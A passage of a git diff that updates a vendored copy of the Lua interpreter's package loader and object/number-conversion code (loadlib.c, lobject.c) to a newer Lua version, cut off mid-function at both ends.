*name, const char *path; lua_getfield(L, lua_upvalueindex(1), pname); path = lua_tostring(L, -1); - if (path == NULL) - luaL_error(L, LUA_QL("package.%s") " must be a string", pname); + if (l_unlikely(path == NULL)) + luaL_error(L, "'package.%s' must be a string", pname); return searchpath(L, name, path, ".", dirsep); } static int checkload(lua_State *L, int stat, const char *filename) { - if (stat) { /* module loaded successfully? */ + if (l_likely(stat)) { /* module loaded successfully? */ lua_pushstring(L, filename); /* will be 2nd argument to module */ return 2; /* return open function and file name */ } else - return luaL_error(L, "error loading module " LUA_QS - " from file " LUA_QS ":\n\t%s", + return luaL_error(L, "error loading module '%s' from file '%s':\n\t%s", lua_tostring(L, 1), filename, lua_tostring(L, -1)); } @@ -416,21 +542,29 @@ static int searcher_Lua(lua_State *L) { } +/* +** Try to find a load function for module 'modname' at file 'filename'. +** First, change '.' to '_' in 'modname'; then, if 'modname' has +** the form X-Y (that is, it has an "ignore mark"), build a function +** name "luaopen_X" and look for it. (For compatibility, if that +** fails, it also tries "luaopen_Y".) If there is no ignore mark, +** look for a function named "luaopen_modname". +*/ static int loadfunc(lua_State *L, const char *filename, const char *modname) { - const char *funcname; + const char *openfunc; const char *mark; modname = luaL_gsub(L, modname, ".", LUA_OFSEP); mark = strchr(modname, *LUA_IGMARK); if (mark) { int stat; - funcname = lua_pushlstring(L, modname, mark - modname); - funcname = lua_pushfstring(L, LUA_POF"%s", funcname); - stat = ll_loadfunc(L, filename, funcname); + openfunc = lua_pushlstring(L, modname, mark - modname); + openfunc = lua_pushfstring(L, LUA_POF"%s", openfunc); + stat = lookforfunc(L, filename, openfunc); if (stat != ERRFUNC) return stat; modname = mark + 1; /* else go ahead and try old-style name */ } - funcname = lua_pushfstring(L, LUA_POF"%s", modname); - return ll_loadfunc(L, filename, funcname); + openfunc = lua_pushfstring(L, LUA_POF"%s", modname); + return lookforfunc(L, filename, openfunc); } @@ -455,8 +589,7 @@ static int searcher_Croot(lua_State *L) { if (stat != ERRFUNC) return checkload(L, 0, filename); /* real error */ else { /* open function not found */ - lua_pushfstring(L, "\n\tno module " LUA_QS " in file " LUA_QS, - name, filename); + lua_pushfstring(L, "no module '%s' in file '%s'", name, filename); return 1; } } @@ -467,29 +600,33 @@ static int searcher_Croot(lua_State *L) { static int searcher_preload(lua_State *L) { const char *name = luaL_checkstring(L, 1); - lua_getfield(L, LUA_REGISTRYINDEX, "_PRELOAD"); - lua_getfield(L, -1, name); - if (lua_isnil(L, -1)) /* not found? */ - lua_pushfstring(L, "\n\tno field package.preload['%s']", name); - return 1; + lua_getfield(L, LUA_REGISTRYINDEX, LUA_PRELOAD_TABLE); + if (lua_getfield(L, -1, name) == LUA_TNIL) { /* not found? */ + lua_pushfstring(L, "no field package.preload['%s']", name); + return 1; + } else { + lua_pushliteral(L, ":preload:"); + return 2; + } } static void findloader(lua_State *L, const char *name) { int i; luaL_Buffer msg; /* to build error message */ + /* push 'package.searchers' to index 3 in the stack */ + if (l_unlikely(lua_getfield(L, lua_upvalueindex(1), "searchers") + != LUA_TTABLE)) + luaL_error(L, "'package.searchers' must be a table"); luaL_buffinit(L, &msg); - lua_getfield(L, lua_upvalueindex(1), "searchers"); /* will be at index 3 */ - if (!lua_istable(L, 3)) - luaL_error(L, LUA_QL("package.searchers") " must be a table"); /* iterate over available searchers to find a loader */ for (i = 1; ; i++) { - lua_rawgeti(L, 3, i); /* get a searcher */ - if (lua_isnil(L, -1)) { /* no more searchers? */ + luaL_addstring(&msg, "\n\t"); /* error-message prefix */ + if (l_unlikely(lua_rawgeti(L, 3, i) == LUA_TNIL)) { /* no more searchers? */ lua_pop(L, 1); /* remove nil */ + luaL_buffsub(&msg, 2); /* remove prefix */ luaL_pushresult(&msg); /* create error message */ - luaL_error(L, "module " LUA_QS " not found:%s", - name, lua_tostring(L, -1)); + luaL_error(L, "module '%s' not found:%s", name, lua_tostring(L, -1)); } lua_pushstring(L, name); lua_call(L, 1, 2); /* call it */ @@ -498,222 +635,117 @@ static void findloader(lua_State *L, const char *name) { else if (lua_isstring(L, -2)) { /* searcher returned error message? */ lua_pop(L, 1); /* remove extra return */ luaL_addvalue(&msg); /* concatenate error message */ - } else + } else { /* no error message */ lua_pop(L, 2); /* remove both returns */ + luaL_buffsub(&msg, 2); /* remove prefix */ + } } } static int ll_require(lua_State *L) { const char *name = luaL_checkstring(L, 1); - lua_settop(L, 1); /* _LOADED table will be at index 2 */ - lua_getfield(L, LUA_REGISTRYINDEX, "_LOADED"); - lua_getfield(L, 2, name); /* _LOADED[name] */ + lua_settop(L, 1); /* LOADED table will be at index 2 */ + lua_getfield(L, LUA_REGISTRYINDEX, LUA_LOADED_TABLE); + lua_getfield(L, 2, name); /* LOADED[name] */ if (lua_toboolean(L, -1)) /* is it there? */ return 1; /* package is already loaded */ /* else must load package */ lua_pop(L, 1); /* remove 'getfield' result */ findloader(L, name); - lua_pushstring(L, name); /* pass name as argument to module loader */ - lua_insert(L, -2); /* name is 1st argument (before search data) */ + lua_rotate(L, -2, 1); /* function <-> loader data */ + lua_pushvalue(L, 1); /* name is 1st argument to module loader */ + lua_pushvalue(L, -3); /* loader data is 2nd argument */ + /* stack: ...; loader data; loader function; mod. name; loader data */ lua_call(L, 2, 1); /* run loader to load module */ + /* stack: ...; loader data; result from loader */ if (!lua_isnil(L, -1)) /* non-nil return? */ - lua_setfield(L, 2, name); /* _LOADED[name] = returned value */ - lua_getfield(L, 2, name); - if (lua_isnil(L, -1)) { /* module did not set a value? */ + lua_setfield(L, 2, name); /* LOADED[name] = returned value */ + else + lua_pop(L, 1); /* pop nil */ + if (lua_getfield(L, 2, name) == LUA_TNIL) { /* module set no value? */ lua_pushboolean(L, 1); /* use true as result */ - lua_pushvalue(L, -1); /* extra copy to be returned */ - lua_setfield(L, 2, name); /* _LOADED[name] = true */ + lua_copy(L, -1, -2); /* replace loader result */ + lua_setfield(L, 2, name); /* LOADED[name] = true */ } - return 1; + lua_rotate(L, -2, 1); /* loader data <-> module result */ + return 2; /* return module result and loader data */ } /* }====================================================== */ -/* -** {====================================================== -** 'module' function -** ======================================================= -*/ -#if defined(LUA_COMPAT_MODULE) - -/* -** changes the environment variable of calling function -*/ -static void set_env(lua_State *L) { - lua_Debug ar; - if (lua_getstack(L, 1, &ar) == 0 || - lua_getinfo(L, "f", &ar) == 0 || /* get calling function */ - lua_iscfunction(L, -1)) - luaL_error(L, LUA_QL("module") " not called from a Lua function"); - lua_pushvalue(L, -2); /* copy new environment table to top */ - lua_setupvalue(L, -2, 1); - lua_pop(L, 1); /* remove function */ -} - - -static void dooptions(lua_State *L, int n) { - int i; - for (i = 2; i <= n; i++) { - if (lua_isfunction(L, i)) { /* avoid 'calling' extra info. */ - lua_pushvalue(L, i); /* get option (a function) */ - lua_pushvalue(L, -2); /* module */ - lua_call(L, 1, 0); - } - } -} - - -static void modinit(lua_State *L, const char *modname) { - const char *dot; - lua_pushvalue(L, -1); - lua_setfield(L, -2, "_M"); /* module._M = module */ - lua_pushstring(L, modname); - lua_setfield(L, -2, "_NAME"); - dot = strrchr(modname, '.'); /* look for last dot in module name */ - if (dot == NULL) dot = modname; - else dot++; - /* set _PACKAGE as package name (full module name minus last part) */ - lua_pushlstring(L, modname, dot - modname); - lua_setfield(L, -2, "_PACKAGE"); -} - - -static int ll_module(lua_State *L) { - const char *modname = luaL_checkstring(L, 1); - int lastarg = lua_gettop(L); /* last parameter */ - luaL_pushmodule(L, modname, 1); /* get/create module table */ - /* check whether table already has a _NAME field */ - lua_getfield(L, -1, "_NAME"); - if (!lua_isnil(L, -1)) /* is table an initialized module? */ - lua_pop(L, 1); - else { /* no; initialize it */ - lua_pop(L, 1); - modinit(L, modname); - } - lua_pushvalue(L, -1); - set_env(L); - dooptions(L, lastarg); - return 1; -} - - -static int ll_seeall(lua_State *L) { - luaL_checktype(L, 1, LUA_TTABLE); - if (!lua_getmetatable(L, 1)) { - lua_createtable(L, 0, 1); /* create new metatable */ - lua_pushvalue(L, -1); - lua_setmetatable(L, 1); - } - lua_pushglobaltable(L); - lua_setfield(L, -2, "__index"); /* mt.__index = _G */ - return 0; -} - -#endif -/* }====================================================== */ - - - -/* auxiliary mark (for internal use) */ -#define AUXMARK "\1" - - -/* -** return registry.LUA_NOENV as a boolean -*/ -static int noenv(lua_State *L) { - int b; - lua_getfield(L, LUA_REGISTRYINDEX, "LUA_NOENV"); - b = lua_toboolean(L, -1); - lua_pop(L, 1); /* remove value */ - return b; -} - - -static void setpath(lua_State *L, const char *fieldname, const char *envname1, - const char *envname2, const char *def) { - const char *path = getenv(envname1); - if (path == NULL) /* no environment variable? */ - path = getenv(envname2); /* try alternative name */ - if (path == NULL || noenv(L)) /* no environment variable? */ - lua_pushstring(L, def); /* use default */ - else { - /* replace ";;" by ";AUXMARK;" and then AUXMARK by default path */ - path = luaL_gsub(L, path, LUA_PATH_SEP LUA_PATH_SEP, - LUA_PATH_SEP AUXMARK LUA_PATH_SEP); - luaL_gsub(L, path, AUXMARK, def); - lua_remove(L, -2); - } - setprogdir(L); - lua_setfield(L, -2, fieldname); -} - static const luaL_Reg pk_funcs[] = { {"loadlib", ll_loadlib}, {"searchpath", ll_searchpath}, -#if defined(LUA_COMPAT_MODULE) - {"seeall", ll_seeall}, -#endif + /* placeholders */ + {"preload", NULL}, + {"cpath", NULL}, + {"path", NULL}, + {"searchers", NULL}, + {"loaded", NULL}, {NULL, NULL} }; static const luaL_Reg ll_funcs[] = { -#if defined(LUA_COMPAT_MODULE) - {"module", ll_module}, -#endif {"require", ll_require}, {NULL, NULL} }; static void createsearcherstable(lua_State *L) { - static const lua_CFunction searchers[] = - {searcher_preload, searcher_Lua, searcher_C, searcher_Croot, NULL}; + static const lua_CFunction searchers[] = { + searcher_preload, + searcher_Lua, + searcher_C, + searcher_Croot, + NULL + }; int i; /* create 'searchers' table */ lua_createtable(L, sizeof(searchers) / sizeof(searchers[0]) - 1, 0); - /* fill it with pre-defined searchers */ + /* fill it with predefined searchers */ for (i = 0; searchers[i] != NULL; i++) { lua_pushvalue(L, -2); /* set 'package' as upvalue for all searchers */ lua_pushcclosure(L, searchers[i], 1); lua_rawseti(L, -2, i + 1); } + lua_setfield(L, -2, "searchers"); /* put it in field 'searchers' */ +} + + +/* +** create table CLIBS to keep track of loaded C libraries, +** setting a finalizer to close all libraries when closing state. +*/ +static void createclibstable(lua_State *L) { + luaL_getsubtable(L, LUA_REGISTRYINDEX, CLIBS); /* create CLIBS table */ + lua_createtable(L, 0, 1); /* create metatable for CLIBS */ + lua_pushcfunction(L, gctm); + lua_setfield(L, -2, "__gc"); /* set finalizer for CLIBS table */ + lua_setmetatable(L, -2); } LUAMOD_API int luaopen_package(lua_State *L) { - /* create table CLIBS to keep track of loaded C libraries */ - luaL_getsubtable(L, LUA_REGISTRYINDEX, CLIBS); - lua_createtable(L, 0, 1); /* metatable for CLIBS */ - lua_pushcfunction(L, gctm); - lua_setfield(L, -2, "__gc"); /* set finalizer for CLIBS table */ - lua_setmetatable(L, -2); - /* create `package' table */ - luaL_newlib(L, pk_funcs); + createclibstable(L); + luaL_newlib(L, pk_funcs); /* create 'package' table */ createsearcherstable(L); -#if defined(LUA_COMPAT_LOADERS) - lua_pushvalue(L, -1); /* make a copy of 'searchers' table */ - lua_setfield(L, -3, "loaders"); /* put it in field `loaders' */ -#endif - lua_setfield(L, -2, "searchers"); /* put it in field 'searchers' */ - /* set field 'path' */ - setpath(L, "path", LUA_PATHVERSION, LUA_PATH, LUA_PATH_DEFAULT); - /* set field 'cpath' */ - setpath(L, "cpath", LUA_CPATHVERSION, LUA_CPATH, LUA_CPATH_DEFAULT); + /* set paths */ + setpath(L, "path", LUA_PATH_VAR, LUA_PATH_DEFAULT); + setpath(L, "cpath", LUA_CPATH_VAR, LUA_CPATH_DEFAULT); /* store config information */ lua_pushliteral(L, LUA_DIRSEP "\n" LUA_PATH_SEP "\n" LUA_PATH_MARK "\n" LUA_EXEC_DIR "\n" LUA_IGMARK "\n"); lua_setfield(L, -2, "config"); - /* set field `loaded' */ - luaL_getsubtable(L, LUA_REGISTRYINDEX, "_LOADED"); + /* set field 'loaded' */ + luaL_getsubtable(L, LUA_REGISTRYINDEX, LUA_LOADED_TABLE); lua_setfield(L, -2, "loaded"); - /* set field `preload' */ - luaL_getsubtable(L, LUA_REGISTRYINDEX, "_PRELOAD"); + /* set field 'preload' */ + luaL_getsubtable(L, LUA_REGISTRYINDEX, LUA_PRELOAD_TABLE); lua_setfield(L, -2, "preload"); lua_pushglobaltable(L); lua_pushvalue(L, -2); /* set 'package' as upvalue for next lib */ diff --git a/client/deps/liblua/lobject.c b/client/deps/liblua/lobject.c index d46790cf7..423df18b2 100644 --- a/client/deps/liblua/lobject.c +++ b/client/deps/liblua/lobject.c @@ -1,17 +1,22 @@ /* -** $Id: lobject.c,v 2.58 2013/02/20 14:08:56 roberto Exp $ +** $Id: lobject.c $ ** Some generic functions over Lua objects ** See Copyright Notice in lua.h */ +#define lobject_c +#define LUA_CORE + +#include "lprefix.h" + + +#include +#include #include #include #include #include -#define lobject_c -#define LUA_CORE - #include "lua.h" #include "lctype.h" @@ -24,36 +29,11 @@ #include "lvm.h" - -LUAI_DDEF const TValue luaO_nilobject_ = {NILCONSTANT}; - - /* -** converts an integer to a "floating point byte", represented as -** (eeeeexxx), where the real value is (1xxx) * 2^(eeeee - 1) if -** eeeee != 0 and (xxx) otherwise. +** Computes ceil(log2(x)) */ -int luaO_int2fb(unsigned int x) { - int e = 0; /* exponent */ - if (x < 8) return x; - while (x >= 0x10) { - x = (x + 1) >> 1; - e++; - } - return ((e + 1) << 3) | (cast_int(x) - 8); -} - - -/* converts back */ -int luaO_fb2int(int x) { - int e = (x >> 3) & 0x1f; - if (e == 0) return x; - else return ((x & 7) + 8) << (e - 1); -} - - int luaO_ceillog2(unsigned int x) { - static const lu_byte log_2[256] = { + static const lu_byte log_2[256] = { /* log_2[i] = ceil(log2(i - 1)) */ 0, 1, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, @@ -70,22 +50,33 @@ int luaO_ceillog2(unsigned int x) { } -lua_Number luaO_arith(int op, lua_Number v1, lua_Number v2) { +static lua_Integer intarith(lua_State *L, int op, lua_Integer v1, + lua_Integer v2) { switch (op) { case LUA_OPADD: - return luai_numadd(NULL, v1, v2); + return intop(+, v1, v2); case LUA_OPSUB: - return luai_numsub(NULL, v1, v2); + return intop(-, v1, v2); case LUA_OPMUL: - return luai_nummul(NULL, v1, v2); - case LUA_OPDIV: - return luai_numdiv(NULL, v1, v2); + return intop(*, v1, v2); case LUA_OPMOD: - return luai_nummod(NULL, v1, v2); - case LUA_OPPOW: - return luai_numpow(NULL, v1, v2); + return luaV_mod(L, v1, v2); + case LUA_OPIDIV: + return luaV_idiv(L, v1, v2); + case LUA_OPBAND: + return intop(&, v1, v2); + case LUA_OPBOR: + return intop( |, v1, v2); + case LUA_OPBXOR: + return intop(^, v1, v2); + case LUA_OPSHL: + return luaV_shiftl(v1, v2); + case LUA_OPSHR: + return luaV_shiftr(v1, v2); case LUA_OPUNM: - return luai_numunm(NULL, v1); + return intop(-, 0, v1); + case LUA_OPBNOT: + return intop(^, ~l_castS2U(0), v1); default: lua_assert(0); return 0; @@ -93,15 +84,85 @@ lua_Number luaO_arith(int op, lua_Number v1, lua_Number v2) { } -int luaO_hexavalue(int c) { - if (lisdigit(c)) return c - '0'; - else return ltolower(c) - 'a' + 10; +static lua_Number numarith(lua_State *L, int op, lua_Number v1, + lua_Number v2) { + switch (op) { + case LUA_OPADD: + return luai_numadd(L, v1, v2); + case LUA_OPSUB: + return luai_numsub(L, v1, v2); + case LUA_OPMUL: + return luai_nummul(L, v1, v2); + case LUA_OPDIV: + return luai_numdiv(L, v1, v2); + case LUA_OPPOW: + return luai_numpow(L, v1, v2); + case LUA_OPIDIV: + return luai_numidiv(L, v1, v2); + case LUA_OPUNM: + return luai_numunm(L, v1); + case LUA_OPMOD: + return luaV_modf(L, v1, v2); + default: + lua_assert(0); + return 0; + } } -#if !defined(lua_strx2number) +int luaO_rawarith(lua_State *L, int op, const TValue *p1, const TValue *p2, + TValue *res) { + switch (op) { + case LUA_OPBAND: + case LUA_OPBOR: + case LUA_OPBXOR: + case LUA_OPSHL: + case LUA_OPSHR: + case LUA_OPBNOT: { /* operate only on integers */ + lua_Integer i1; + lua_Integer i2; + if (tointegerns(p1, &i1) && tointegerns(p2, &i2)) { + setivalue(res, intarith(L, op, i1, i2)); + return 1; + } else return 0; /* fail */ + } + case LUA_OPDIV: + case LUA_OPPOW: { /* operate only on floats */ + lua_Number n1; + lua_Number n2; + if (tonumberns(p1, n1) && tonumberns(p2, n2)) { + setfltvalue(res, numarith(L, op, n1, n2)); + return 1; + } else return 0; /* fail */ + } + default: { /* other operations */ + lua_Number n1; + lua_Number n2; + if (ttisinteger(p1) && ttisinteger(p2)) { + setivalue(res, intarith(L, op, ivalue(p1), ivalue(p2))); + return 1; + } else if (tonumberns(p1, n1) && tonumberns(p2, n2)) { + setfltvalue(res, numarith(L, op, n1, n2)); + return 1; + } else return 0; /* fail */ + } + } +} -#include + +void luaO_arith(lua_State *L, int op, const TValue *p1, const TValue *p2, + StkId res) { + if (!luaO_rawarith(L, op, p1, p2, s2v(res))) { + /* could not perform raw operation; try metamethod */ + luaT_trybinTM(L, p1, p2, res, cast(TMS, (op - LUA_OPADD) + TM_ADD)); + } +} + + +int luaO_hexavalue(int c) { + if (lisdigit(c)) return c - '0'; + else return (ltolower(c) - 'a') + 10; +} static int isneg(const char **s) { @@ -111,131 +172,400 @@ static int isneg(const char **s) { } -static lua_Number readhexa(const char **s, lua_Number r, int *count) { - for (; lisxdigit(cast_uchar(**s)); (*s)++) { /* read integer part */ - r = (r * cast_num(16.0)) + cast_num(luaO_hexavalue(cast_uchar(**s))); - (*count)++; - } - return r; -} - /* -** convert an hexadecimal numeric string to a number, following +** {================================================================== +** Lua's implementation for 'lua_strx2number' +** =================================================================== +*/ + +#if !defined(lua_strx2number) + +/* maximum number of significant digits to read (to avoid overflows + even with single floats) */ +#define MAXSIGDIG 30 + +/* +** convert a hexadecimal numeric string to a number, following ** C99 specification for 'strtod' */ static lua_Number lua_strx2number(const char *s, char **endptr) { - lua_Number r = 0.0; - int e = 0, i = 0; - int neg = 0; /* 1 if number is negative */ - *endptr = cast(char *, s); /* nothing is valid yet */ + int dot = lua_getlocaledecpoint(); + lua_Number r = l_mathop(0.0); /* result (accumulator) */ + int sigdig = 0; /* number of significant digits */ + int nosigdig = 0; /* number of non-significant digits */ + int e = 0; /* exponent correction */ + int neg; /* 1 if number is negative */ + int hasdot = 0; /* true after seen a dot */ + *endptr = cast_charp(s); /* nothing is valid yet */ while (lisspace(cast_uchar(*s))) s++; /* skip initial spaces */ - neg = isneg(&s); /* check signal */ + neg = isneg(&s); /* check sign */ if (!(*s == '0' && (*(s + 1) == 'x' || *(s + 1) == 'X'))) /* check '0x' */ - return 0.0; /* invalid format (no '0x') */ - s += 2; /* skip '0x' */ - r = readhexa(&s, r, &i); /* read integer part */ - if (*s == '.') { - s++; /* skip dot */ - r = readhexa(&s, r, &e); /* read fractional part */ + return l_mathop(0.0); /* invalid format (no '0x') */ + for (s += 2; ; s++) { /* skip '0x' and read numeral */ + if (*s == dot) { + if (hasdot) break; /* second dot? stop loop */ + else hasdot = 1; + } else if (lisxdigit(cast_uchar(*s))) { + if (sigdig == 0 && *s == '0') /* non-significant digit (zero)? */ + nosigdig++; + else if (++sigdig <= MAXSIGDIG) /* can read it without overflow? */ + r = (r * l_mathop(16.0)) + luaO_hexavalue(*s); + else e++; /* too many digits; ignore, but still count for exponent */ + if (hasdot) e--; /* decimal digit? correct exponent */ + } else break; /* neither a dot nor a digit */ } - if (i == 0 && e == 0) - return 0.0; /* invalid format (no digit) */ - e *= -4; /* each fractional digit divides value by 2^-4 */ - *endptr = cast(char *, s); /* valid up to here */ + if (nosigdig + sigdig == 0) /* no digits? */ + return l_mathop(0.0); /* invalid format */ + *endptr = cast_charp(s); /* valid up to here */ + e *= 4; /* each digit multiplies/divides value by 2^4 */ if (*s == 'p' || *s == 'P') { /* exponent part? */ - int exp1 = 0; - int neg1; + int exp1 = 0; /* exponent value */ + int neg1; /* exponent sign */ s++; /* skip 'p' */ - neg1 = isneg(&s); /* signal */ + neg1 = isneg(&s); /* sign */ if (!lisdigit(cast_uchar(*s))) - goto ret; /* must have at least one digit */ + return l_mathop(0.0); /* invalid; must have at least one digit */ while (lisdigit(cast_uchar(*s))) /* read exponent */ exp1 = exp1 * 10 + *(s++) - '0'; if (neg1) exp1 = -exp1; e += exp1; + *endptr = cast_charp(s); /* valid up to here */ } - *endptr = cast(char *, s); /* valid up to here */ -ret: if (neg) r = -r; return l_mathop(ldexp)(r, e); } #endif +/* }====================================================== */ -int luaO_str2d(const char *s, size_t len, lua_Number *result) { +/* maximum length of a numeral to be converted to a number */ +#if !defined (L_MAXLENNUM) +#define L_MAXLENNUM 200 +#endif + +/* +** Convert string 's' to a Lua number (put in 'result'). Return NULL on +** fail or the address of the ending '\0' on success. ('mode' == 'x') +** means a hexadecimal numeral. +*/ +static const char *l_str2dloc(const char *s, lua_Number *result, int mode) { char *endptr; - if (strpbrk(s, "nN")) /* reject 'inf' and 'nan' */ - return 0; - else if (strpbrk(s, "xX")) /* hexa? */ - *result = lua_strx2number(s, &endptr); - else - *result = lua_str2number(s, &endptr); - if (endptr == s) return 0; /* nothing recognized */ - while (lisspace(cast_uchar(*endptr))) endptr++; - return (endptr == s + len); /* OK if no trailing characters */ + *result = (mode == 'x') ? lua_strx2number(s, &endptr) /* try to convert */ + : lua_str2number(s, &endptr); + if (endptr == s) return NULL; /* nothing recognized? */ + while (lisspace(cast_uchar(*endptr))) endptr++; /* skip trailing spaces */ + return (*endptr == '\0') ? endptr : NULL; /* OK iff no trailing chars */ +} + + +/* +** Convert string 's' to a Lua number (put in 'result') handling the +** current locale. +** This function accepts both the current locale or a dot as the radix +** mark. If the conversion fails, it may mean number has a dot but +** locale accepts something else. In that case, the code copies 's' +** to a buffer (because 's' is read-only), changes the dot to the +** current locale radix mark, and tries to convert again. +** The variable 'mode' checks for special characters in the string: +** - 'n' means 'inf' or 'nan' (which should be rejected) +** - 'x' means a hexadecimal numeral +** - '.' just optimizes the search for the common case (no special chars) +*/ +static const char *l_str2d(const char *s, lua_Number *result) { + const char *endptr; + const char *pmode = strpbrk(s, ".xXnN"); /* look for special chars */ + int mode = pmode ? ltolower(cast_uchar(*pmode)) : 0; + if (mode == 'n') /* reject 'inf' and 'nan' */ + return NULL; + endptr = l_str2dloc(s, result, mode); /* try to convert */ + if (endptr == NULL) { /* failed? may be a different locale */ + char buff[L_MAXLENNUM + 1]; + const char *pdot = strchr(s, '.'); + if (pdot == NULL || strlen(s) > L_MAXLENNUM) + return NULL; /* string too long or no dot; fail */ + strcpy(buff, s); /* copy string to buffer */ + buff[pdot - s] = lua_getlocaledecpoint(); /* correct decimal point */ + endptr = l_str2dloc(buff, result, mode); /* try again */ + if (endptr != NULL) + endptr = s + (endptr - buff); /* make relative to 's' */ + } + return endptr; +} + + +#define MAXBY10 cast(lua_Unsigned, LUA_MAXINTEGER / 10) +#define MAXLASTD cast_int(LUA_MAXINTEGER % 10) + +static const char *l_str2int(const char *s, lua_Integer *result) { + lua_Unsigned a = 0; + int empty = 1; + int neg; + while (lisspace(cast_uchar(*s))) s++; /* skip initial spaces */ + neg = isneg(&s); + if (s[0] == '0' && + (s[1] == 'x' || s[1] == 'X')) { /* hex? */ + s += 2; /* skip '0x' */ + for (; lisxdigit(cast_uchar(*s)); s++) { + a = a * 16 + luaO_hexavalue(*s); + empty = 0; + } + } else { /* decimal */ + for (; lisdigit(cast_uchar(*s)); s++) { + int d = *s - '0'; + if (a >= MAXBY10 && (a > MAXBY10 || d > MAXLASTD + neg)) /* overflow? */ + return NULL; /* do not accept it (as integer) */ + a = a * 10 + d; + empty = 0; + } + } + while (lisspace(cast_uchar(*s))) s++; /* skip trailing spaces */ + if (empty || *s != '\0') return NULL; /* something wrong in the numeral */ + else { + *result = l_castU2S((neg) ? 0u - a : a); + return s; + } +} + + +size_t luaO_str2num(const char *s, TValue *o) { + lua_Integer i; + lua_Number n; + const char *e; + if ((e = l_str2int(s, &i)) != NULL) { /* try as an integer */ + setivalue(o, i); + } else if ((e = l_str2d(s, &n)) != NULL) { /* else try as a float */ + setfltvalue(o, n); + } else + return 0; /* conversion failed */ + return (e - s) + 1; /* success; return string size */ +} + + +int luaO_utf8esc(char *buff, unsigned long x) { + int n = 1; /* number of bytes put in buffer (backwards) */ + lua_assert(x <= 0x7FFFFFFFu); + if (x < 0x80) /* ascii? */ + buff[UTF8BUFFSZ - 1] = cast_char(x); + else { /* need continuation bytes */ + unsigned int mfb = 0x3f; /* maximum that fits in first byte */ + do { /* add continuation bytes */ + buff[UTF8BUFFSZ - (n++)] = cast_char(0x80 | (x & 0x3f)); + x >>= 6; /* remove added bits */ + mfb >>= 1; /* now there is one less bit available in first byte */ + } while (x > mfb); /* still needs continuation byte? */ + buff[UTF8BUFFSZ - n] = cast_char((~mfb << 1) | x); /* add first byte */ + } + return n; +} + + +/* +** Maximum length of the conversion of a number to a string. Must be +** enough to accommodate both LUA_INTEGER_FMT and LUA_NUMBER_FMT. +** (For a long long int, this is 19 digits plus a sign and a final '\0', +** adding to 21. For a long double, it can go to a sign, 33 digits, +** the dot, an exponent letter, an exponent sign, 5 exponent digits, +** and a final '\0', adding to 43.) +*/ +#define MAXNUMBER2STR 44 + + +/* +** Convert a number object to a string, adding it to a buffer +*/ +static int tostringbuff(TValue *obj, char *buff) { + int len; + lua_assert(ttisnumber(obj)); + if (ttisinteger(obj)) + len = lua_integer2str(buff, MAXNUMBER2STR, ivalue(obj)); + else { + len = lua_number2str(buff, MAXNUMBER2STR, fltvalue(obj)); + if (buff[strspn(buff, "-0123456789")] == '\0') { /* looks like an int? */ + buff[len++] = lua_getlocaledecpoint(); + buff[len++] = '0'; /* adds '.0' to result */ + } + } + return len; +} + + +/* +** Convert a number object to a Lua string, replacing the value at 'obj' +*/ +void luaO_tostring(lua_State *L, TValue *obj) { + char buff[MAXNUMBER2STR]; + int len = tostringbuff(obj, buff); + setsvalue(L, obj, luaS_newlstr(L, buff, len)); } -static void pushstr(lua_State *L, const char *str, size_t l) { - setsvalue2s(L, L->top++, luaS_newlstr(L, str, l)); + +/* +** {================================================================== +** 'luaO_pushvfstring' +** =================================================================== +*/ + +/* +** Size for buffer space used by 'luaO_pushvfstring'. It should be +** (LUA_IDSIZE + MAXNUMBER2STR) + a minimal space for basic messages, +** so that 'luaG_addinfo' can work directly on the buffer. +*/ +#define BUFVFS (LUA_IDSIZE + MAXNUMBER2STR + 95) + +/* buffer used by 'luaO_pushvfstring' */ +typedef struct BuffFS { + lua_State *L; + int pushed; /* true if there is a part of the result on the stack */ + int blen; /* length of partial string in 'space' */ + char space[BUFVFS]; /* holds last part of the result */ +} BuffFS; + + +/* +** Push given string to the stack, as part of the result, and +** join it to previous partial result if there is one. +** It may call 'luaV_concat' while using one slot from EXTRA_STACK. +** This call cannot invoke metamethods, as both operands must be +** strings. It can, however, raise an error if the result is too +** long. In that case, 'luaV_concat' frees the extra slot before +** raising the error. +*/ +static void pushstr(BuffFS *buff, const char *str, size_t lstr) { + lua_State *L = buff->L; + setsvalue2s(L, L->top.p, luaS_newlstr(L, str, lstr)); + L->top.p++; /* may use one slot from EXTRA_STACK */ + if (!buff->pushed) /* no previous string on the stack? */ + buff->pushed = 1; /* now there is one */ + else /* join previous string with new one */ + luaV_concat(L, 2); } -/* this function handles only `%d', `%c', %f, %p, and `%s' formats */ +/* +** empty the buffer space into the stack +*/ +static void clearbuff(BuffFS *buff) { + pushstr(buff, buff->space, buff->blen); /* push buffer contents */ + buff->blen = 0; /* space now is empty */ +} + + +/* +** Get a space of size 'sz' in the buffer. If buffer has not enough +** space, empty it. 'sz' must fit in an empty buffer. +*/ +static char *getbuff(BuffFS *buff, int sz) { + lua_assert(buff->blen <= BUFVFS); + lua_assert(sz <= BUFVFS); + if (sz > BUFVFS - buff->blen) /* not enough space? */ + clearbuff(buff); + return buff->space + buff->blen; +} + + +#define addsize(b,sz) ((b)->blen += (sz)) + + +/* +** Add 'str' to the buffer. If string is larger than the buffer space, +** push the string directly to the stack. +*/ +static void addstr2buff(BuffFS *buff, const char *str, size_t slen) { + if (slen <= BUFVFS) { /* does string fit into buffer? */ + char *bf = getbuff(buff, cast_int(slen)); + memcpy(bf, str, slen); /* add string to buffer */ + addsize(buff, cast_int(slen)); + } else { /* string larger than buffer */ + clearbuff(buff); /* string comes after buffer's content */ + pushstr(buff, str, slen); /* push string */ + } +} + + +/* +** Add a numeral to the buffer. +*/ +static void addnum2buff(BuffFS *buff, TValue *num) { + char *numbuff = getbuff(buff, MAXNUMBER2STR); + int len = tostringbuff(num, numbuff); /* format number into 'numbuff' */ + addsize(buff, len); +} + + +/* +** this function handles only '%d', '%c', '%f', '%p', '%s', and '%%' + conventional formats, plus Lua-specific '%I' and '%U' +*/ const char *luaO_pushvfstring(lua_State *L, const char *fmt, va_list argp) { - int n = 0; - for (;;) { - const char *e = 